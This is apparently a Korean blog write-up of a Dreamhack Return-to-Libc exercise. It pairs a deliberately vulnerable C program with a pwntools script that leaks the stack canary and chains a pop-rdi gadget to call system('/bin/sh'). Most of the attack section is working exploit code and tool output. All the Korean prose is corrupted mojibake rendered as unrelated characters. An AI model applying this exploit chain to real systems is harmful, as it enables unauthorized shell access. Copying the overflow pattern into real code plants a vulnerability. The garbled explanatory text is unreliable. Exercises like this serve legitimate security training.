songining
article thumbnail
  • Return Address Overwrite: ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ์•…์„ฑ ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋กœ ๋ฎ์–ด์„œ ์…ธ ํš๋“
  • Stack Canary: ์Šคํƒ ํ”„๋ ˆ์ž„์˜ ๋ฐ˜ํ™˜ ์ฃผ์†Œ ์ „์— ๋žœ๋คํ•œ ์นด๋‚˜๋ฆฌ๋ฅผ ์ฃผ์ž…ํ•˜์—ฌ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋ฎ๊ธฐ ์–ด๋ ต๊ฒŒ ํ•จ
  • Return to Shellcode: ์นด๋‚˜๋ฆฌ๋ฅผ ์šฐํšŒํ•˜๊ณ , ์…ธ ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•œ ๋ฒ„ํผ์˜ ์ฃผ์†Œ๋กœ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋ฎ์–ด์„œ ์…ธ ํš๋“
  • ASLR: ์ž„์˜ ๋ฒ„ํผ์˜ ์ฃผ์†Œ๋ฅผ ์•Œ๊ธฐ ์–ด๋ ต๊ฒŒ ํ•จ
  • NX: ๊ฐ ์„ธ๊ทธ๋จผํŠธ์— ๋ถˆํ•„์š”ํ•œ ์‹คํ–‰๊ถŒํ•œ์„ ์ œ๊ฑฐํ•จ์œผ๋กœ์จ ๊ณต๊ฒฉ์ž๊ฐ€ ์ž„์˜ ๋ฒ„ํผ์— ์ฃผ์ž…ํ•œ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์–ด๋ ต๊ฒŒํ•จ

 

Return to Library -> NX๋ฅผ ์šฐํšŒํ•˜๋Š” ๊ณต๊ฒฉ๊ธฐ๋ฒ•  

NX๋กœ ์ธํ•ด ์ฝ”๋“œ ์˜์—ญ ์™ธ์—๋Š” ์‹คํ–‰๊ถŒํ•œ์ด ์—†์–ด์ง€๊ธฐ ๋•Œ๋ฌธ์— ์‹คํ–‰๊ถŒํ•œ์ด ๋‚จ์•„์žˆ๋Š” ์ฝ”๋“œ ์˜์—ญ์œผ๋กœ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋ฎ๋Š” ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์„ ๊ณ ์•ˆํ–ˆ๋‹ค.

 

ํ”„๋กœ์„ธ์Šค์— ์‹คํ–‰ ๊ถŒํ•œ์ด ์žˆ๋Š” ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์€ ์ผ๋ฐ˜์ ์œผ๋กœ ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ์ฝ”๋“œ ์˜์—ญ๊ณผ ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์ฐธ์กฐํ•˜๋Š” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ ์ฝ”๋“œ ์˜์—ญ์ด๋‹ค.

 

๊ณต๊ฒฉ์ž๋“ค์€ libc์˜ ํ•จ์ˆ˜๋“ค(๋‹ค์–‘ํ•œ ํ•จ์ˆ˜ ๊ตฌํ˜„๋œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ)๋กœ NX๋ฅผ ์šฐํšŒํ•˜๊ณ  ์…ธ์„ ํš๋“ํ•˜๋Š” ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์„ ๊ฐœ๋ฐœํ•˜์˜€๊ณ , ์ด๋ฅผ Return To Libc๋ผ๊ณ  ํ•˜์˜€๋‹ค. 

 

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>

// ASLR ์ด ์ ์šฉ๋ผ๋„ PIE๊ฐ€ ์ ์šฉ๋˜์ง€ ์•Š์œผ๋ฉด ์ฝ”๋“œ ์„ธ๊ทธ๋จผํŠธ์™€ ๋ฐ์ดํ„ฐ ์„ธ๊ทธ๋จผํŠธ์˜ ์ฃผ์†Œ๋Š” ๊ณ ์ •
// ์ฆ‰ "/bin/sh"์˜ ์ฃผ์†Œ๋Š” ๊ณ ์ • 
const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];
  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);
  
  // Add system function to plt's entry
  system("echo 'system@plt'");
  
  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);
  
  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  return 0;
}

 

1) "bin/sh" ๋ฅผ ์ฝ”๋“œ ์„น์…˜์— ์ถ”๊ฐ€ (์ฃผ์†Œ๋Š” ๊ณ ์ •์ž„ NO PIE ์ด๋ฏ€๋กœ)

2) system ํ•จ์ˆ˜๋ฅผ PLT์— ์ถ”๊ฐ€ 

- ASLR์ด ๊ฑธ๋ ค์žˆ์–ด๋„ PIE๊ฐ€ ์ ์šฉ๋˜์–ด ์žˆ์ง€ ์•Š๋‹ค๋ฉด PLT์˜ ์ฃผ์†Œ๋Š” ๊ณ ์ •

- ๋ฌด์ž‘์œ„๋กœ ๋งคํ•‘๋˜๋Š” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ ๋ฒ ์ด์Šค ์ฃผ์†Œ๋Š” ๋ชฐ๋ผ๋„ ์ด ๋ฐฉ๋ฒ•์œผ๋กœ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Œ 

 

 

์ต์Šคํ”Œ๋กœ์ž‡ ์‹œ๋‚˜๋ฆฌ์˜ค 

1. ์นด๋‚˜๋ฆฌ ์šฐํšŒ -> ์ ์ ˆํ•œ ๊ธธ์ด๋กœ buf๋ฅผ ์ž…๋ ฅ๋ฐ›์œผ๋ฉด ์นด๋‚˜๋ฆฌ๊นŒ์ง€ ํ•จ๊ป˜ ์ถœ๋ ฅ ๊ฐ€๋Šฅํ•  ๋“ฏ?? ( ์ฒซ๋ฒˆ์งธ ์ž…๋ ฅ )

2. rdi๊ฐ’์„ “/bin/sh”์˜ ์ฃผ์†Œ๋กœ ์„ค์ • ๋ฐ ์…ธ ํš๋“

- NX๋กœ ์ธํ•ด buf์— ์…ธ์ฝ”๋“œ ์ฃผ์ž…ํ•˜๊ณ  ์ด๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์€ ๋ถˆ๊ฐ€ ์ฆ‰, ๋‹ค๋ฅธ๋ฐฉ๋ฒ•์œผ๋กœ ์…ธ์„ ํš๋“ํ•ด์•ผํ•จ!

- ์šฐ๋ฆฌ๊ฐ€ ์•Œ ๊ณ  ์žˆ๋Š” ๊ฒƒ : "/bin/sh"์˜ ์ฃผ์†Œ, system ํ•จ์ˆ˜์˜ PLT ์ฃผ์†Œ 

- system("/bin/sh")์„ ํ˜ธ์ถœ ํ•˜๋ฉด ์…ธ์„ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.  (rdi = "/bin/sh")

 

๋ฆฌํ„ด ๊ฐ€์ ฏ?

- ret๋กœ ๋๋‚˜๋Š” ์–ด์…ˆ๋ธ”๋ฆฌ ์ฝ”๋“œ ์กฐ๊ฐ 

- ๋ฆฌํ„ด ๊ฐ€์ ฏ์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ฐ˜ํ™˜ ์ฃผ์†Œ์™€ ์ดํ›„์˜ ๋ฒ„ํผ๋ฅผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ฎ์œผ๋ฉด, pop rdi๋กœ rdi๋ฅผ “/bin/sh”์˜ ์ฃผ์†Œ๋กœ ์„ค์ •ํ•˜๊ณ , ์ด์–ด์ง€๋Š” ret๋กœ system ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๋‹ค. 

 

๋ฆฌํ„ด ๊ฐ€์ ฏ์„ ์ฐพ๋Š” ๋ฐฉ๋ฒ•์€ ๋‹ค์–‘ํ•˜์ง€๋งŒ, ์ผ๋ฐ˜์ ์œผ๋กœ ROPgadget ์‚ฌ์šฉ!

python3 -m pip install ROPgadget --user
$ ROPgadget --binary ./rtl --re "pop rdi"
Gadgets information
============================================================
0x0000000000400853 : pop rdi ; ret

์œ„์™€ ๊ฐ™์ด --re ์˜ต์…˜์„ ์ด์šฉํ•ด ์ฐพ๊ณ  ์‹ถ์€ ๊ฐ€์ ฏ์„ ํ•„ํ„ฐ๋งํ•œ๋‹ค. 

์™ผํŽธ์— 16์ง„์ˆ˜๋กœ ์ ํžŒ ์ฃผ์†Œ๊ฐ€ ๊ฐ€์ ฏ์˜ ์ฃผ์†Œ์ด๋‹ค. 

 

์ด์ œ ์ต์Šคํ”Œ๋กœ์ž‡์„ ํ•ด๋ณด์ž!

 

1. ์นด๋‚˜๋ฆฌ ์šฐํšŒ 

์ด์™€ ๊ฐ™์ด buf๋ถ€ํ„ฐ rbp๊นŒ์ง€์˜ ๊ฑฐ๋ฆฌ๋Š” 0x40์ด๋‹ค. 

์ฆ‰ buf๋ถ€ํ„ฐ canary๊นŒ์ง€์˜ ๊ฑฐ๋ฆฌ๋Š” 0x40-0x08 = 0x38์ด๋‹ค. 

 

์ฆ‰ ์šฐ๋ฆฌ๋Š” 0x38 + 1 = 0x39 byte ๋งŒํผ ์•„๋ฌด๋ฌธ์ž๋กœ ์ฑ„์›Œ์ฃผ๋ฉด ์นด๋‚˜๋ฆฌ ๊ฐ’๊นŒ์ง€ ํ•จ๊ป˜ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ๋‹ค. 

# leak canary 
buf = b"A"*0x39
p.sendafter("Buf: ",buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recv(7))
print("canary: ", hex(cnry))

๊ณต๊ฒฉ ์ฝ”๋“œ๋กœ ๋ฐ”๊ฟ”๋ณด๋ฉด ์ด๋Ÿฌํ•˜๋‹ค. 

 

2.  ๋ฆฌํ„ด ๊ฐ€์ ฏ 

addr of ("pop rdi; ret")   <= return address
addr of string "/bin/sh"   <= ret + 0x8
addr of "system" plt       <= ret + 0x10

๋‹ค์Œ๊ณผ ๊ฐ™์ด ๊ฐ€์ ฏ์„ ๊ตฌ์„ฑํ•˜๊ณ  ์‹คํ–‰ํ•˜๋ฉด system(“/bin/sh”) ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค!

 

"/bin/sh"์˜ ์ฃผ์†Œ๋Š” pwndbg์—์„œ

search /bin/sh

์„ ์ž…๋ ฅํ•ด ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค. 

๋˜ํ•œ ์›ํ•˜๋Š” PLT ์ฃผ์†Œ๋Š” pwntools์˜ ELF๋ฅผ ์ด์šฉํ•ด ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค. 

 

pop rdi ๊ฐ€์ ฏ ์ฃผ์†Œ! 

 

from pwn import * 

p = process("./rtl")
e = ELF("./rtl")
context.arch = "amd64"

# 1) leak canary 
buf = b"A"*0x39
p.sendafter("Buf: ",buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recv(7))
print("canary: ", hex(cnry))

# 2) exploit 
system_plt = e.plt["system"]
binsh = 0x402004
ret = 0x000000000040101a # ์•„๋ฌด ๊ฐ€์ ฏ์ด๋‚˜ ๋„ฃ์–ด์ฃผ๋ฉด ๋œ๋‹ค. (์ผ๋ฐ˜์ ์œผ๋กœ ret)
pop_rdi = 0x0000000000401333

payload = b"B"*0x38 # buf2cnry
payload += p64(cnry) # cnry 
payload += b"C"*0x08 # sfp 
payload += p64(ret) # system ํ•จ์ˆ˜๋กœ ์ด๋™ํ•  ๋•Œ ์Šคํƒ์€ 16๋ฐ”์ดํŠธ ๋‹จ์œ„๋กœ ์ •๋ ฌ๋˜์–ด์žˆ์–ด์•ผํ•ด์„œ ๋„ฃ์–ด์ฃผ๋Š” ์ฝ”๋“œ 
payload += p64(pop_rdi) 
payload += p64(binsh)
payload += p64(system_plt)

p.sendafter("Buf: ", payload)

p.interactive()

[์ถœ์ฒ˜]

๋“œ๋ฆผํ•ต